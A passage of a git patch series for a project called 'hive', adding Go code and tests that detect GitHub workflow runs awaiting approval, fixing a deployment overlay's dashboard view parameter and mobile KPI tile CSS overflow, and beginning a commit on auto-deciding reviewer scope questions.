from the check-run listing alone the required +// checks simply look unreported; this is the evidence that they are in fact +// waiting on a person clicking Approve (hivecommons/hive#16599). +type PRWorkflowApproval struct { + Pending int `json:"pending"` + RunIDs []int64 `json:"run_ids,omitempty"` + Actor string `json:"actor,omitempty"` + ObservedAt *time.Time `json:"observed_at,omitempty"` +} + +// WorkflowApprovalStatus is the workflow-run status GitHub reports while a +// run waits for a maintainer to approve it. +const WorkflowApprovalStatus = "action_required" + +// workflowApprovalCacheTTL bounds the extra workflow-run listing to one call +// per head per window; the cycle calls EnrichCIStatus far more often than a +// human approves workflows. +const workflowApprovalCacheTTL = 90 * time.Second + +type workflowApprovalEntry struct { + at time.Time + val *PRWorkflowApproval +} + +var workflowApprovalCache sync.Map // repo@sha β†’ workflowApprovalEntry + +// workflowApprovalEvictAfter is how long a head's probe stays cached once +// it is no longer refreshed: heads that got pushed over or merged stop +// being probed, and their entries go with the next sweep of the map. +const workflowApprovalEvictAfter = 30 * time.Minute + +var workflowApprovalLastEvict atomic.Int64 // unix seconds + +// evictStaleWorkflowApprovals drops entries older than +// workflowApprovalEvictAfter, at most once per eviction window, so the +// package-global map stays bounded by the heads probed in the last half hour. +func evictStaleWorkflowApprovals(now time.Time) { + last := workflowApprovalLastEvict.Load() + if now.Unix()-last < int64(workflowApprovalEvictAfter/time.Second) { + return + } + if !workflowApprovalLastEvict.CompareAndSwap(last, now.Unix()) { + return + } + workflowApprovalCache.Range(func(key, value any) bool { + if e, ok := value.(workflowApprovalEntry); !ok || now.Sub(e.at) > workflowApprovalEvictAfter { + workflowApprovalCache.Delete(key) + } + return true + }) +} + +// workflowRunsAwaitingApproval lists the head's workflow runs and keeps the +// ones gated on approval. It returns nil when none are, or when the listing +// failed: absence of evidence is not evidence. +func (c *Client) workflowRunsAwaitingApproval(ctx context.Context, repo, sha string) *PRWorkflowApproval { + if c == nil || c.client == nil || strings.TrimSpace(sha) == "" { + return nil + } + key := repo + "@" + sha + evictStaleWorkflowApprovals(time.Now()) + if cached, ok := workflowApprovalCache.Load(key); ok { + if e, ok := cached.(workflowApprovalEntry); ok && time.Since(e.at) < workflowApprovalCacheTTL { + return e.val + } + } + owner, name := c.splitRepo(repo) + runs, _, err := c.client.Actions.ListRepositoryWorkflowRuns(WithRESTCaller(ctx, "hive:workflow_approval"), owner, name, &gh.ListWorkflowRunsOptions{ + HeadSHA: sha, + ListOptions: gh.ListOptions{PerPage: 100}, + }) + if err != nil || runs == nil { + c.logger.Debug("failed to list workflow runs for head", "repo", repo, "sha", sha, "error", err) + return nil + } + val := workflowApprovalFromRuns(runs.WorkflowRuns, time.Now().UTC()) + workflowApprovalCache.Store(key, workflowApprovalEntry{at: time.Now(), val: val}) + return val +} + +// workflowApprovalFromRuns is the pure half: the approval-gated subset of a +// head's workflow runs, or nil when the head has none. +func workflowApprovalFromRuns(runs []*gh.WorkflowRun, now time.Time) *PRWorkflowApproval { + var out *PRWorkflowApproval + for _, run := range runs { + if run == nil { + continue + } + if run.GetStatus() != WorkflowApprovalStatus && run.GetConclusion() != WorkflowApprovalStatus { + continue + } + if out == nil { + at := now.UTC() + out = &PRWorkflowApproval{ObservedAt: &at} + } + out.Pending++ + if id := run.GetID(); id != 0 { + out.RunIDs = append(out.RunIDs, id) + } + if out.Actor == "" { + if actor := run.GetActor().GetLogin(); actor != "" { + out.Actor = actor + } else if actor := run.GetTriggeringActor().GetLogin(); actor != "" { + out.Actor = actor + } + } + } + return out +} + +// forgetWorkflowApproval drops the cached probe for a head so the next +// cycle re-lists: called when a CI webhook for the head arrives (someone +// approved, a run started) and after the hive approves runs itself. +func forgetWorkflowApproval(repo, sha string) { + workflowApprovalCache.Delete(repo + "@" + sha) +} diff --git a/src/pkg/github/workflow_approval_test.go b/src/pkg/github/workflow_approval_test.go new file mode 100644 index 0000000000..a9cacfc97a --- /dev/null +++ b/src/pkg/github/workflow_approval_test.go @@ -0,0 +1,69 @@ +package github + +import ( + "testing" + "time" + + gh "github.com/google/go-github/v72/github" +) + +func TestWorkflowApprovalFromRuns(t *testing.T) { + now := time.Date(2026, 10, 21, 12, 0, 0, 0, time.UTC) + runs := []*gh.WorkflowRun{ + nil, + {ID: gh.Ptr(int64(1)), Status: gh.Ptr("completed"), Conclusion: gh.Ptr("success")}, + {ID: gh.Ptr(int64(2)), Status: gh.Ptr(WorkflowApprovalStatus), Actor: &gh.User{Login: gh.Ptr("dependabot[bot]")}}, + {ID: gh.Ptr(int64(3)), Status: gh.Ptr("completed"), Conclusion: gh.Ptr(WorkflowApprovalStatus)}, + {ID: gh.Ptr(int64(4)), Status: gh.Ptr("in_progress")}, + } + got := workflowApprovalFromRuns(runs, now) + if got == nil { + t.Fatal("expected approval evidence") + } + if got.Pending != 2 || len(got.RunIDs) != 2 || got.RunIDs[0] != 2 || got.RunIDs[1] != 3 { + t.Fatalf("pending=%d ids=%v", got.Pending, got.RunIDs) + } + if got.Actor != "dependabot[bot]" { + t.Fatalf("actor=%q", got.Actor) + } + if got.ObservedAt == nil || !got.ObservedAt.Equal(now) { + t.Fatalf("observed_at=%v", got.ObservedAt) + } + if workflowApprovalFromRuns(runs[:2], now) != nil { + t.Fatal("no gated runs must yield nil, not an empty record") + } +} + +func TestCloneCIActivityCopiesWorkflowApproval(t *testing.T) { + src := &PRCIActivity{Head: "abc", WorkflowApproval: &PRWorkflowApproval{Pending: 1, RunIDs: []int64{7}}} + out := cloneCIActivity(src) + out.WorkflowApproval.RunIDs[0] = 9 + out.WorkflowApproval.Pending = 5 + if src.WorkflowApproval.RunIDs[0] != 7 || src.WorkflowApproval.Pending != 1 { + t.Fatal("clone shares workflow approval with its source") + } +} + +func TestWorkflowApprovalCacheEvictsAndForgets(t *testing.T) { + workflowApprovalCache.Store("org/repo@old", workflowApprovalEntry{at: time.Now().Add(-2 * workflowApprovalEvictAfter)}) + workflowApprovalCache.Store("org/repo@fresh", workflowApprovalEntry{at: time.Now()}) + workflowApprovalLastEvict.Store(0) + evictStaleWorkflowApprovals(time.Now()) + if _, ok := workflowApprovalCache.Load("org/repo@old"); ok { + t.Fatal("stale entry survived eviction") + } + if _, ok := workflowApprovalCache.Load("org/repo@fresh"); !ok { + t.Fatal("fresh entry evicted") + } + // Within the window the sweep is a no-op even for stale entries. + workflowApprovalCache.Store("org/repo@old2", workflowApprovalEntry{at: time.Now().Add(-2 * workflowApprovalEvictAfter)}) + evictStaleWorkflowApprovals(time.Now()) + if _, ok := workflowApprovalCache.Load("org/repo@old2"); !ok { + t.Fatal("eviction ran again inside its window") + } + forgetWorkflowApproval("org/repo", "fresh") + if _, ok := workflowApprovalCache.Load("org/repo@fresh"); ok { + t.Fatal("forget left the entry") + } + workflowApprovalCache.Delete("org/repo@old2") +} From 404abc1a217e4d2188f7d2315c150cb570b7022e Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 16:47:03 +0000 Subject: [PATCH 80/87] fix(deploy): open hive-hosted-matrix overlay with view=reader (#16614) The replicas:0 hive-hosted-matrix stream overlay still requested view=matrix, which only works via the deprecated alias in boot.js. Switching to view=reader keeps the overlay working once the alias is removed. Closes #16612 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/changed-hive-hosted-matrix-reader-view.md | 1 + .../stream/overlays/hive-hosted-matrix/kustomization.yaml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 changelog.d/changed-hive-hosted-matrix-reader-view.md diff --git a/changelog.d/changed-hive-hosted-matrix-reader-view.md b/changelog.d/changed-hive-hosted-matrix-reader-view.md new file mode 100644 index 0000000000..b60b43eab4 --- /dev/null +++ b/changelog.d/changed-hive-hosted-matrix-reader-view.md @@ -0,0 +1 @@ +- hive-hosted-matrix stream overlay opens the dashboard with `view=reader` instead of the deprecated `view=matrix` alias (#16612). diff --git a/src/deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml b/src/deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml index 9de4bd3fdb..62d6d9f139 100644 --- a/src/deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml +++ b/src/deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml @@ -31,7 +31,7 @@ patches: value: http://hive.hive-hosted-hosted-available-oke-11-placeholder-r05x.svc.cluster.local:3002 - op: replace path: /data/DASHBOARD_PATH - value: /?kiosk=1&view=matrix&sound=off + value: /?kiosk=1&view=reader&sound=off - op: replace path: /data/STREAM_AUDIO value: silent From d50707e2a3e5b73aefe3d499ad96396e8989e7e1 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 11:55:31 -0500 Subject: [PATCH 81/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20keep=20Overvi?= =?UTF-8?q?ew=20KPI=20tiles=20inside=20the=20phone=20viewport=20after=20a?= =?UTF-8?q?=20restart=20(#16613)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Right after a roll the Overview headline shows the nowrap "refreshing after restart Β· 0/10 repos scanned" pill. Its min-content width stretched the single auto column of .overview-headline, so every KPI tile, subline and sparkline was laid out ~470px wide on a 430px phone and clipped until the scan finished and the pill disappeared. The tiles also read var(--fs-2xs), which was only defined inside .config-modal and fell back to the body size everywhere else. - stale pill: wraps, min-width:0 / max-width:100%, justify-self:start - headline children, kpis grid, tiles, sublines, sparklines: min-width:0, overflow-wrap:anywhere, max-width:100% - define --fs-2xs/--fs-2xl/--fs-3xl at :root with the design-system values - phone (<=720px): tile label/subline use --fs-base / --fs-md Fixes hivecommons/hive#16601 Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-mobile-overview-kpi-overflow.md | 1 + src/pkg/dashboard/static-src/css/base.css | 7 +++-- src/pkg/dashboard/static-src/css/overview.css | 21 +++++++++----- src/pkg/dashboard/static/index.html | 28 +++++++++++++------ 4 files changed, 39 insertions(+), 18 deletions(-) create mode 100644 changelog.d/fixed-mobile-overview-kpi-overflow.md diff --git a/changelog.d/fixed-mobile-overview-kpi-overflow.md b/changelog.d/fixed-mobile-overview-kpi-overflow.md new file mode 100644 index 0000000000..78c853e26d --- /dev/null +++ b/changelog.d/fixed-mobile-overview-kpi-overflow.md @@ -0,0 +1 @@ +- Overview KPI tiles no longer overflow the phone viewport right after a restart: the "refreshing after restart" pill wraps inside the card instead of widening the headline grid, tile sublines and sparklines stay within the tile, and the `--fs-2xs`/`--fs-2xl`/`--fs-3xl` type tokens are now defined at `:root` so they no longer fall back to the 16px body size (hivecommons/hive#16601). diff --git a/src/pkg/dashboard/static-src/css/base.css b/src/pkg/dashboard/static-src/css/base.css index 2458e913e4..ab696b47f1 100644 --- a/src/pkg/dashboard/static-src/css/base.css +++ b/src/pkg/dashboard/static-src/css/base.css @@ -26,8 +26,11 @@ --font-ui: Inter, ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; --font-mono: 'SF Mono', 'Cascadia Code', 'Fira Code', monospace; /* Type ramp β€” section headers / card titles / labels only; body-copy sizes stay. */ - --fs-xs: .68rem; --fs-sm: .75rem; --fs-base: .82rem; - --fs-md: .92rem; --fs-lg: 1.05rem; --fs-xl: 1.25rem; + --fs-2xs: .6rem; --fs-xs: .68rem; --fs-sm: .75rem; --fs-base: .82rem; + --fs-md: .92rem; --fs-lg: 1.05rem; --fs-xl: 1.25rem; --fs-2xl: 1.5rem; --fs-3xl: 2rem; + /* The A6 ends of the ramp (2xs/2xl/3xl) were only ever defined inside + .config-modal, so var(--fs-2xs) elsewhere fell back to the 16px body + size (hivecommons/hive#16601). Same values in light and dark. */ /* Touch floor: iOS Safari zooms the page when a focused control is under 16px. */ --fs-touch: 16px; /* Mobile icon-only buttons (section ?/βš™/grip, topbar chips): a fixed diff --git a/src/pkg/dashboard/static-src/css/overview.css b/src/pkg/dashboard/static-src/css/overview.css index 1d1f948601..236e96ab36 100644 --- a/src/pkg/dashboard/static-src/css/overview.css +++ b/src/pkg/dashboard/static-src/css/overview.css @@ -13,23 +13,30 @@ .overview-repo-filter { display: grid; gap: var(--sp-2); max-height: min(16rem, 32vh); overflow: auto; padding: var(--sp-2); border: 1px solid var(--border); border-radius: var(--r-sm); background: var(--bg); } .overview-settings-links { display: flex; flex-wrap: wrap; gap: var(--sp-2); } .overview-headline { display: grid; gap: var(--sp-3); margin-bottom: var(--sp-4); } - .overview-kpis { display: grid; grid-template-columns: repeat(5, minmax(0, 1fr) auto) minmax(0, 1fr) auto minmax(0, 1fr); gap: var(--sp-3); align-items: stretch; } + /* No headline child may widen the single auto column: on a phone a nowrap + stale pill otherwise stretches the track and every KPI tile with it + (hivecommons/hive#16601). */ + .overview-headline > * { min-width: 0; max-width: 100%; } + .overview-kpis { display: grid; min-width: 0; grid-template-columns: repeat(5, minmax(0, 1fr) auto) minmax(0, 1fr) auto minmax(0, 1fr); gap: var(--sp-3); align-items: stretch; } .overview-kpi-operator { display: inline-flex; align-items: center; justify-content: center; align-self: start; padding-top: var(--sp-3); color: var(--muted); font-size: var(--fs-lg); font-weight: 800; line-height: 1; } .overview-kpi-coverage-spacer { width: 1px; min-height: 100%; background: var(--border); opacity: 0.8; } - .overview-kpi-stale { display: inline-flex; align-items: center; gap: var(--sp-1); margin-left: var(--sp-2); padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); border: 1px solid var(--orange); color: var(--orange); font-size: var(--fs-xs); font-weight: 700; white-space: nowrap; } + .overview-kpi-stale { display: inline-flex; align-items: center; gap: var(--sp-1); margin-left: var(--sp-2); padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); border: 1px solid var(--orange); color: var(--orange); font-size: var(--fs-xs); font-weight: 700; justify-self: start; min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } @media (max-width: 1399px) { .overview-kpis { grid-template-columns: repeat(3, minmax(0, 1fr)); } .overview-kpi-operator, .overview-kpi-coverage-spacer { display: none; } } @media (max-width: 720px) { .overview-kpis { grid-template-columns: minmax(0, 1fr); } } .overview-kpi-range { display: inline-flex; gap: var(--sp-1); } .overview-kpi-range-btn { min-width: 2rem; height: 1.25rem; border: 1px solid var(--border); border-radius: var(--r-pill); background: var(--bg); color: var(--muted); font-size: var(--fs-2xs); font-weight: 800; cursor: pointer; } .overview-kpi-range-btn.active { border-color: var(--accent); color: var(--accent); } - .overview-kpi { display: grid; gap: var(--sp-1); text-align: left; border: 1px solid var(--border); border-radius: var(--r); background: var(--bg); color: var(--text); padding: var(--sp-3); min-height: 5.9rem; cursor: pointer; } + .overview-kpi { display: grid; min-width: 0; gap: var(--sp-1); text-align: left; border: 1px solid var(--border); border-radius: var(--r); background: var(--bg); color: var(--text); padding: var(--sp-3); min-height: 5.9rem; cursor: pointer; } .overview-kpi:hover { border-color: var(--accent); } .overview-kpi-value { font-size: var(--fs-lg); font-weight: 800; font-variant-numeric: tabular-nums; } .overview-kpi-label { color: var(--muted); font-size: var(--fs-2xs); font-weight: 800; letter-spacing: 0.08em; text-transform: uppercase; } - .overview-kpi-subline { color: var(--muted); font-size: var(--fs-2xs); line-height: 1.25; } - .overview-kpi-spark { min-height: 24px; display: flex; align-items: end; margin-top: var(--sp-1); } - .overview-kpi-spark .sparkline { width: 100%; } - .overview-kpi-spark svg { width: 100%; height: 24px; } + .overview-kpi-subline { color: var(--muted); font-size: var(--fs-2xs); line-height: 1.25; min-width: 0; overflow-wrap: anywhere; } + .overview-kpi-spark { min-height: 24px; min-width: 0; display: flex; align-items: end; margin-top: var(--sp-1); } + .overview-kpi-spark .sparkline { width: 100%; max-width: 100%; min-width: 0; } + .overview-kpi-spark svg { width: 100%; max-width: 100%; height: 24px; } + /* Phone: keep the tile label/subline at the compact body sizes the tiles + shipped with rather than the 2xs helper size. */ + @media (max-width: 720px) { .overview-kpi-label { font-size: var(--fs-base); } .overview-kpi-subline { font-size: var(--fs-md); } } .overview-kpi-coverage[data-coverage-state="success"] { --overview-coverage-color: var(--green); } .overview-kpi-coverage[data-coverage-state="warn"] { --overview-coverage-color: var(--yellow); } .overview-kpi-coverage[data-coverage-state="danger"] { --overview-coverage-color: var(--red); } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index e9518324d7..7a018174c7 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -42,8 +42,11 @@ --font-ui: Inter, ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; --font-mono: 'SF Mono', 'Cascadia Code', 'Fira Code', monospace; /* Type ramp β€” section headers / card titles / labels only; body-copy sizes stay. */ - --fs-xs: .68rem; --fs-sm: .75rem; --fs-base: .82rem; - --fs-md: .92rem; --fs-lg: 1.05rem; --fs-xl: 1.25rem; + --fs-2xs: .6rem; --fs-xs: .68rem; --fs-sm: .75rem; --fs-base: .82rem; + --fs-md: .92rem; --fs-lg: 1.05rem; --fs-xl: 1.25rem; --fs-2xl: 1.5rem; --fs-3xl: 2rem; + /* The A6 ends of the ramp (2xs/2xl/3xl) were only ever defined inside + .config-modal, so var(--fs-2xs) elsewhere fell back to the 16px body + size (hivecommons/hive#16601). Same values in light and dark. */ /* Touch floor: iOS Safari zooms the page when a focused control is under 16px. */ --fs-touch: 16px; /* Mobile icon-only buttons (section ?/βš™/grip, topbar chips): a fixed @@ -3252,23 +3255,30 @@ .overview-repo-filter { display: grid; gap: var(--sp-2); max-height: min(16rem, 32vh); overflow: auto; padding: var(--sp-2); border: 1px solid var(--border); border-radius: var(--r-sm); background: var(--bg); } .overview-settings-links { display: flex; flex-wrap: wrap; gap: var(--sp-2); } .overview-headline { display: grid; gap: var(--sp-3); margin-bottom: var(--sp-4); } - .overview-kpis { display: grid; grid-template-columns: repeat(5, minmax(0, 1fr) auto) minmax(0, 1fr) auto minmax(0, 1fr); gap: var(--sp-3); align-items: stretch; } + /* No headline child may widen the single auto column: on a phone a nowrap + stale pill otherwise stretches the track and every KPI tile with it + (hivecommons/hive#16601). */ + .overview-headline > * { min-width: 0; max-width: 100%; } + .overview-kpis { display: grid; min-width: 0; grid-template-columns: repeat(5, minmax(0, 1fr) auto) minmax(0, 1fr) auto minmax(0, 1fr); gap: var(--sp-3); align-items: stretch; } .overview-kpi-operator { display: inline-flex; align-items: center; justify-content: center; align-self: start; padding-top: var(--sp-3); color: var(--muted); font-size: var(--fs-lg); font-weight: 800; line-height: 1; } .overview-kpi-coverage-spacer { width: 1px; min-height: 100%; background: var(--border); opacity: 0.8; } - .overview-kpi-stale { display: inline-flex; align-items: center; gap: var(--sp-1); margin-left: var(--sp-2); padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); border: 1px solid var(--orange); color: var(--orange); font-size: var(--fs-xs); font-weight: 700; white-space: nowrap; } + .overview-kpi-stale { display: inline-flex; align-items: center; gap: var(--sp-1); margin-left: var(--sp-2); padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); border: 1px solid var(--orange); color: var(--orange); font-size: var(--fs-xs); font-weight: 700; justify-self: start; min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } @media (max-width: 1399px) { .overview-kpis { grid-template-columns: repeat(3, minmax(0, 1fr)); } .overview-kpi-operator, .overview-kpi-coverage-spacer { display: none; } } @media (max-width: 720px) { .overview-kpis { grid-template-columns: minmax(0, 1fr); } } .overview-kpi-range { display: inline-flex; gap: var(--sp-1); } .overview-kpi-range-btn { min-width: 2rem; height: 1.25rem; border: 1px solid var(--border); border-radius: var(--r-pill); background: var(--bg); color: var(--muted); font-size: var(--fs-2xs); font-weight: 800; cursor: pointer; } .overview-kpi-range-btn.active { border-color: var(--accent); color: var(--accent); } - .overview-kpi { display: grid; gap: var(--sp-1); text-align: left; border: 1px solid var(--border); border-radius: var(--r); background: var(--bg); color: var(--text); padding: var(--sp-3); min-height: 5.9rem; cursor: pointer; } + .overview-kpi { display: grid; min-width: 0; gap: var(--sp-1); text-align: left; border: 1px solid var(--border); border-radius: var(--r); background: var(--bg); color: var(--text); padding: var(--sp-3); min-height: 5.9rem; cursor: pointer; } .overview-kpi:hover { border-color: var(--accent); } .overview-kpi-value { font-size: var(--fs-lg); font-weight: 800; font-variant-numeric: tabular-nums; } .overview-kpi-label { color: var(--muted); font-size: var(--fs-2xs); font-weight: 800; letter-spacing: 0.08em; text-transform: uppercase; } - .overview-kpi-subline { color: var(--muted); font-size: var(--fs-2xs); line-height: 1.25; } - .overview-kpi-spark { min-height: 24px; display: flex; align-items: end; margin-top: var(--sp-1); } - .overview-kpi-spark .sparkline { width: 100%; } - .overview-kpi-spark svg { width: 100%; height: 24px; } + .overview-kpi-subline { color: var(--muted); font-size: var(--fs-2xs); line-height: 1.25; min-width: 0; overflow-wrap: anywhere; } + .overview-kpi-spark { min-height: 24px; min-width: 0; display: flex; align-items: end; margin-top: var(--sp-1); } + .overview-kpi-spark .sparkline { width: 100%; max-width: 100%; min-width: 0; } + .overview-kpi-spark svg { width: 100%; max-width: 100%; height: 24px; } + /* Phone: keep the tile label/subline at the compact body sizes the tiles + shipped with rather than the 2xs helper size. */ + @media (max-width: 720px) { .overview-kpi-label { font-size: var(--fs-base); } .overview-kpi-subline { font-size: var(--fs-md); } } .overview-kpi-coverage[data-coverage-state="success"] { --overview-coverage-color: var(--green); } .overview-kpi-coverage[data-coverage-state="warn"] { --overview-coverage-color: var(--yellow); } .overview-kpi-coverage[data-coverage-state="danger"] { --overview-coverage-color: var(--red); } From b7cc0d0fb763e5c50d96fa09909acdde7ae83f28 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 12:02:41 -0500 Subject: [PATCH 82/87] =?UTF-8?q?=E2=9C=A8=20Auto-decide=20reviewer=20scop?= =?UTF-8?q?e=20questions=20on=20hive-authored=20green=20PRs=20(#16598)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ✨ Auto-decide reviewer scope questions on hive-authored green PRs A review perspective that ends with a question rather than a finding parked hive-authored, green, finding-free PRs at 085 on wording alone (docs#618, hive#16456). Classify the ask: policy sign-off stays a person's; a scope / follow-up question runs the existing Let-hive-decide pipeline once per head (approve -> merge queue + follow-up issue; direction -> fixer; owner-only -> park with the recommendation). Config governor.review.auto_decide_questions (default on); review_questions_autodecided_1h on /api/status. Fixes #16597 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ“– Resync api-reference citations after server.go shift Signed-off-by: Andrew Anderson <andy@clubanderson.com> * 🌱 Test the patch-key rule on a file outside the policy path list Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../changed-reviewer-question-autodecide.md | 1 + src/docs/api-reference/auth.md | 6 +- src/docs/api-reference/dashboard-misc.md | 2 +- .../api-reference/health-status-events.md | 22 +- src/docs/api-reference/snapshots-and-style.md | 2 +- .../sweeps-and-operations.md | 1 + src/pkg/config/config.go | 25 + .../config/testdata/agent_runtime_golden.json | 1 + .../dashboard/review_question_autodecide.go | 473 ++++++++++++++++++ .../review_question_autodecide_test.go | 107 ++++ src/pkg/dashboard/server.go | 12 +- src/pkg/review/decision_question_class.go | 168 +++++++ .../review/decision_question_class_test.go | 134 +++++ 13 files changed, 937 insertions(+), 17 deletions(-) create mode 100644 changelog.d/changed-reviewer-question-autodecide.md create mode 100644 src/pkg/dashboard/review_question_autodecide.go create mode 100644 src/pkg/dashboard/review_question_autodecide_test.go create mode 100644 src/pkg/review/decision_question_class.go create mode 100644 src/pkg/review/decision_question_class_test.go diff --git a/changelog.d/changed-reviewer-question-autodecide.md b/changelog.d/changed-reviewer-question-autodecide.md new file mode 100644 index 0000000000..57d332b6c5 --- /dev/null +++ b/changelog.d/changed-reviewer-question-autodecide.md @@ -0,0 +1 @@ +- A reviewer's scope / follow-up question on a hive-authored PR with CI green and no unresolved finding no longer parks the PR at 085 "Needs human decision": the dashboard classifies the ask and runs the existing *Let hive decide* pipeline itself (approve β†’ merge queue plus a `follow-up:` issue; direction β†’ fixer; owner-only β†’ park with the recommendation), once per head, while policy sign-off asks (workflow edits from forks, OWNERS / secrets / permissions, auto-merge config, sentinel) stay a person's. Off switch `governor.review.auto_decide_questions`; counter `review_questions_autodecided_1h` on `/api/status`. diff --git a/src/docs/api-reference/auth.md b/src/docs/api-reference/auth.md index f53613dd29..459faedfbf 100644 --- a/src/docs/api-reference/auth.md +++ b/src/docs/api-reference/auth.md @@ -24,6 +24,6 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | `GET` | `/api/openrouter/models` | Dashboard auth/session | Open Router Models | `pkg/dashboard/openrouter.go:47` | | `GET` | `/api/openrouter/credit` | Dashboard auth/session | Open Router Credit | `pkg/dashboard/openrouter.go:48` | | `GET` | `/openrouter/callback` | Public | Open Router Callback | `pkg/dashboard/openrouter.go:49` | -| `POST` | `/api/github-app/recheck` | Dashboard auth/session | GitHub App Recheck | `pkg/dashboard/server.go:1662` | -| `POST` | `/api/github-app/install-clicked` | Dashboard auth/session | GitHub App Install Clicked | `pkg/dashboard/server.go:1663` | -| `GET` | `/gh-setup` | Public | GitHub App Setup Callback | `pkg/dashboard/server.go:1664` | +| `POST` | `/api/github-app/recheck` | Dashboard auth/session | GitHub App Recheck | `pkg/dashboard/server.go:1665` | +| `POST` | `/api/github-app/install-clicked` | Dashboard auth/session | GitHub App Install Clicked | `pkg/dashboard/server.go:1666` | +| `GET` | `/gh-setup` | Public | GitHub App Setup Callback | `pkg/dashboard/server.go:1667` | diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index f19178f89f..66daa880fd 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -80,7 +80,7 @@ The monitor renders CI and Review concurrently on one shared PR row; see | `POST` | `/api/hives/{id}/heartbeat` | Dashboard auth/session | Hives Heartbeat | `pkg/dashboard/api_contribute.go:377` | | `DELETE` | `/api/hives/{id}` | Owner only | Hives Delete | `pkg/dashboard/api_contribute.go:378` | | `POST` | `/api/hives/onboard` | Dashboard auth/session | Hives Onboard | `pkg/dashboard/api_contribute.go:379` | -| `GET` | `/sso` | Public | SSO | `pkg/dashboard/server.go:1669` | +| `GET` | `/sso` | Public | SSO | `pkg/dashboard/server.go:1672` | ### Activity observation provenance The CI snapshot retains real check/node IDs, head, App ID and transition times. diff --git a/src/docs/api-reference/health-status-events.md b/src/docs/api-reference/health-status-events.md index 5e9728defb..48e9983a4f 100644 --- a/src/docs/api-reference/health-status-events.md +++ b/src/docs/api-reference/health-status-events.md @@ -24,17 +24,17 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | `GET` | `/api/version` | Dashboard auth/session | Build/version metadata; includes `upgradeMarker` (`target`, `current`, `attempts`, `maxAttempts`, `failed`, `requestedAt`, `lastError`) while a self-upgrade is in flight or has failed ([#6765](https://github.com/hivecommons/hive/issues/6765)), the hub-delivered `upgradePolicy` (`hub_managed`, `spoke_managed`, `schedule`, `schedule_hour`, `schedule_timezone`, `schedule_weekday`, `paused`, `branch`, `channel`, `target_sha`, `target_resolved`, `armed_target`, and `next_update_at` β€” the hub's RFC3339 ETA for the next promotion into the `stable` channel, omitted when unknown ([#10256](https://github.com/hivecommons/hive/issues/10256))) when available, and an `autoUpdate` object (`enabled`, `state` β€” one of `disabled`/`up_to_date`/`behind`/`retrying`/`failed`/`unknown` β€” `healthy`, `period`, `targetBranch`, `targetCommit`, `currentCommit`, `commitsBehind`, `lastAttemptAt`, `lastError`, `detail`, and `nextUpdateAt` β€” the hub's RFC3339 ETA for the next update, omitted when unknown, disabled or paused ([#10257](https://github.com/hivecommons/hive/issues/10257))) that never reports a failed or unknown update as healthy ([#6962](https://github.com/hivecommons/hive/issues/6962), [#6963](https://github.com/hivecommons/hive/issues/6963)). Also `startedAt` (RFC3339 process start β€” changes on every pod roll even when the build does not, so the dashboard can say "Restarted" vs "Upgraded") and, until the first status is published, `startupPhase`/`startupPhaseLabel` (the boot phase a fresh pod is in) ([#15788](https://github.com/hivecommons/hive/issues/15788)) | `pkg/dashboard/api.go:44` | | `GET` | `/api/version/release-notes` | Dashboard auth/session | Changelog gap between two revisions: `?from=<sha>&to=<channel-branch-tag-or-sha>` returns `{from:{sha,version?}, to:{sha,ref,version?}, sections:[{version,date,categories:{added,changed,fixed,security,deprecated}}], unreleased?, truncated, source, error?}` β€” the `CHANGELOG.md` release sections present at `to` and absent at `from`, newest first, plus (when `to` is not a release tag) the `changelog.d/` fragments new at `to` under an `Unreleased (in this build)` section. Fetch failures return `source: "unavailable"` with `error` rather than an error status; results are cached per (from, to) for an hour ([#11065](https://github.com/hivecommons/hive/issues/11065)) | `pkg/dashboard/api.go:45` | | `POST` | `/api/release-channel` | Owner only | Hosted spoke self-service release-channel selector; relays `stable`/`candidate`/`edge` to the hub's existing switch-branch endpoint with the spoke dashboard-token proof, and reports the requested channel as pending until the Deployment image lands | `pkg/dashboard/api.go:69` | -| `GET` | `/api/health` | Public | Basic health probe | `pkg/dashboard/server.go:1642` | -| `GET` | `/api/health/deep` | Public | Deep health probe | `pkg/dashboard/server.go:1643` | -| `GET` | `/api/livez` | Public | Kubernetes liveness probe | `pkg/dashboard/server.go:1644` | -| `GET` | 